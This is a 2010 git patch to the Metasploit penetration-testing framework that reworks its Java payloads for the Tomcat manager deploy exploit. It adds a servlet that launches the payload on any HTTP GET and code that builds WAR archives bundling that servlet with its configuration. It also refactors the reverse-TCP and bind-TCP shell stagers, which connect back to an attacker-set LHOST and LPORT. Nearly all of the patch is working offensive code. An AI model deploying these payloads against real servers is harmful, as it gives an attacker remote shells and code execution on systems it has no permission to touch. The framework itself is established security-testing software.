From f33d7cc670d8fcd479797b7e882e8b74b8f70afd Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 22 Oct 2010 10:19:51 +0000 Subject: [PATCH] revamp java payloads and make shells work with tomcat_mgr_deploy. tested java_trusted_chain and java_tester to verify that this doesn't break other java payload usage. see #3009 and #2973, meterpreter doesn't work yet, so not marking resolved. git-svn-id: file:///home/svn/framework3/trunk@10781 4d416f70-5f16-0410-b530-b9f4589650da --- data/java/metasploit/PayloadServlet.class | Bin 0 -> 1052 bytes .../src/metasploit/PayloadServlet.java | 30 +++++ lib/msf/core/payload/java.rb | 104 +++++++++++++++--- .../exploits/multi/http/tomcat_mgr_deploy.rb | 18 ++- modules/payloads/stagers/java/bind_tcp.rb | 14 +-- modules/payloads/stagers/java/reverse_tcp.rb | 20 ++-- modules/payloads/stages/java/meterpreter.rb | 13 ++- modules/payloads/stages/java/shell.rb | 2 +- 8 files changed, 151 insertions(+), 50 deletions(-) create mode 100644 data/java/metasploit/PayloadServlet.class create mode 100644 external/source/javapayload/src/metasploit/PayloadServlet.java diff --git a/data/java/metasploit/PayloadServlet.class b/data/java/metasploit/PayloadServlet.class new file mode 100644 index 0000000000000000000000000000000000000000..3ce405b60380b5408481e429bfd00f80f3746109 GIT binary patch literal 1052 zcmah{T~pIQ6g`_JT^b@SMJWa4Lj_v|qWImSFOH})6_}R6VSEbhPKl;TO|}gFBA$7{ zuhAdik5X@vQrck#UheMRd+wgIXYZfCKYjyP#d947W;y1Da8t)E+~$}c#scne6m)PD z!?391E|xf!IaWAKhUA*<+VTZMqEOsnP+xit!H}-luGr|b_JqG}?KzZ5_#KzwN=;hz zPw%XDlqCWNt>L{ElA&6te6$X%Lo*Qmfg_~3FJ;?&L!lNYs^W7;1hRZ7ENFXfAj-v^ zNaj6``y8tb`m4jbXiJ-l91l1iQmW>4{JL1TLxp2o))&XK8eO`TP>q2Rq!}{d-gGRt zY1X7~yG;i2;*o*JctVY5)gA?r8hDCl1HIe(zOWkMoh1Whq)C>6wU8j+64DCVj%Q1A zPzJ;F#kMeH&-kky*Ny$2zqqSwCd0yIxY*6pSK6MrMFz?3gwTqZE@-GDR`lgRVn`LbXx#7nI#ZHc|Tq z^$2R^I0734)Cdr^j}QxpE&Trs<;Up6p=@$o1>JHD;{*)p0|IKa&MtjNl40W~_%10K zDyez(1gRrvC3X1(dPu>kE8nA-B#of!IC4Ze5!I$Jg&ACr=<-nh5nQD@#{@^7V-k!6 SFam`SR0tTpewt1SX8r?W{`5=$ literal 0 HcmV?d00001 diff --git a/external/source/javapayload/src/metasploit/PayloadServlet.java b/external/source/javapayload/src/metasploit/PayloadServlet.java new file mode 100644 index 0000000000..290c1f25e6 --- /dev/null +++ b/external/source/javapayload/src/metasploit/PayloadServlet.java @@ -0,0 +1,30 @@ +package metasploit; + +import java.io.*; + +import javax.servlet.*; +import javax.servlet.http.*; +import java.lang.Thread; + +public class PayloadServlet extends HttpServlet implements Runnable { + + public void run() { + try { + metasploit.Payload.main(new String[] {""}); + } catch (Exception e) {} + } + + protected void doGet(HttpServletRequest req, HttpServletResponse res) + throws ServletException, java.io.IOException + { + PrintWriter out = res.getWriter(); + + try { + Thread t = new Thread(this); + t.start(); + } catch(Exception e) { }; + + out.close(); + } + +} diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index d05e61bb3e..07a0806b83 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -2,42 +2,112 @@ require 'msf/core' module Msf::Payload::Java + # + # Used by stages; all java payloads need to define @class_files as an array + # of .class files located in data/java/ + # + # The staging protocol expects any number of class files, each prepended + # with its length, and terminated with a 0: + # [ 32-bit big endian length ][ first raw .class file] + # ... + # [ 32-bit big endian length ][ Nth raw .class file] + # [ 32-bit null ] + # def generate_stage + $stdout.puts("Generating default stage") stage = '' - @class_files.each do |path| + @stage_class_files.each do |path| + $stdout.puts("Adding raw class: #{path}") fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb") data = fd.read(fd.stat.size) stage << ([data.length].pack("N") + data) end stage << [0].pack("N") + $stdout.puts("Done, final length of class files: #{stage.length}") stage end - # This is the same for both bind and reverse tcp depending on the existence - # of LHOST. If it's there, this use a reverse connection, if not, bind. - def tcp_stager_jar(config) + # + # Constructs the payload, used by stagers. Returns a jar file as a +String+ + # + def generate + generate_jar.pack + end + + # + # Returns a jar file as a +Rex::Zip::Archive+ + # + def generate_jar + $stdout.puts("Generating jar") + raise if not respond_to? :config paths = [ [ "metasploit", "Payload.class" ], - ] + ] + @class_files jar = Rex::Zip::Jar.new - paths.each do |path| - 1.upto(path.length - 1) do |idx| - full = path[0,idx].join("/") + "/" - if !(jar.entries.map{|e|e.name}.include?(full)) - jar.add_file(full, '') - end - end - fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb") - data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) - fd.close - end + add_class_files(jar, paths) jar.build_manifest(:main_class => "metasploit.Payload") jar.add_file("metasploit.dat", config) jar end + + def generate_war(opts={}) + $stdout.puts("Generating war") + zip = Rex::Zip::Archive.new + + web_xml = %q{ + + + +NAME +metasploit.PayloadServlet + + +NAME +/* + + +} + app_name = opts[:app_name] || "notrandom" #Rex::Text.rand_text_alpha_lower(rand(8)+8) + + web_xml.gsub!(/NAME/, app_name) + + paths = [ + [ "metasploit", "Payload.class" ], + [ "metasploit", "PayloadServlet.class" ], + ] + @class_files + + zip.add_file('WEB-INF/', '') + zip.add_file('WEB-INF/web.xml', web_xml) + zip.add_file("WEB-INF/classes/", "") + add_class_files(zip, paths, "WEB-INF/classes/") + zip.add_file("metasploit.dat", config) + zip.add_file("WEB-INF/metasploit.dat", config) + zip.add_file("WEB-INF/classes/metasploit.dat", config) + $stdout.puts("config: #{config}") + + zip + end + +protected + def add_class_files(zip, paths, base_dir="") + paths.each do |path| + $stdout.puts("Adding file: #{path}") + 1.upto(path.length - 1) do |idx| + full = base_dir + path[0,idx].join("/") + "/" + if !(zip.entries.map{|e|e.name}.include?(full)) + zip.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "java", path ), "rb") + data = fd.read(fd.stat.size) + zip.add_file(base_dir + path.join("/"), data) + fd.close + end + end end diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index fa7bce050f..fb34bf3d4b 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote # tomcat docs [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ] ], - 'Platform' => [ 'win', 'linux' ], # others? + 'Platform' => [ 'java', 'win', 'linux' ], # others? 'Targets' => [ # @@ -72,6 +72,13 @@ class Metasploit3 < Msf::Exploit::Remote # [ 'Automatic', { } ], + [ 'Java', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ], + # # Platform specific targets only # @@ -186,11 +193,10 @@ class Metasploit3 < Msf::Exploit::Remote # Generate the WAR containing the payload war = nil if (mytarget.name =~ /Java/) - war = Msf::Util::EXE.to_war(p.encoded, - { - :app_name => app_base, - :jsp_name => jsp_name - }) + war = p.encoded_war({ + :app_name => app_base + }).pack + else # Generate an EXE from the payload exe = generate_payload_exe( diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index c75dab995d..9ca44302cd 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -34,19 +34,15 @@ module Metasploit3 'Handler' => Msf::Handler::BindTcp, 'Stager' => {'Payload' => ""} )) + @class_files = [ ] end - # - # Constructs the payload - # - def generate; generate_jar.pack; end - - def generate_jar - config = "" + def config + c = "" #config << "Spawn=2\n" - config << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] + c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] - tcp_stager_jar(config) + c end end diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 5b5779ad98..93bb6e11d1 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -34,20 +34,16 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) + @class_files = [ ] end - # - # Constructs the payload - # - def generate; generate_jar.pack; end - - def generate_jar - config = "" - config << "Spawn=2\n" - config << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"] - config << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] - - tcp_stager_jar(config) + def config + c = "" + c << "Spawn=2\n" + c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"] + c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] + + c end end diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 2cddea2f52..cd6373312c 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -42,8 +42,8 @@ module Metasploit3 # The Meterpreter.class stage is just a jar loader, not really anything # to do with meterpreter specifically. This payload should eventually # be replaced with an actual meterpreter stage so we don't have to send - # a jar. - @class_files = [ + # a second jar. + @stage_class_files = [ [ "javapayload", "stage", "Stage.class" ], [ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ], [ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ], @@ -52,11 +52,14 @@ module Metasploit3 ] end + # + # Override the Payload::Java version so we can load a prebuilt jar to be + # used as the final stage; calls super to get the intermediate stager. + # def generate_stage + $stdout.puts("Generating meterpreter stage with #{@stage_class_files.length} class files") file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.jar") - met = File.open(file, "rb") {|f| - f.read(f.stat.size) - } + met = File.open(file, "rb") {|f| f.read(f.stat.size) } # All of the dendencies to create a jar loader, followed by the length # of the jar and the jar itself. diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index 9ff5ca0779..93bd582505 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -40,7 +40,7 @@ module Metasploit3 # Order matters. Classes can only reference classes that have already # been sent. The last .class must implement Stage, i.e. have a start() # method. - @class_files = [ + @stage_class_files = [ [ "javapayload", "stage", "Stage.class" ], [ "javapayload", "stage", "StreamForwarder.class" ], [ "javapayload", "stage", "Exec.class" ],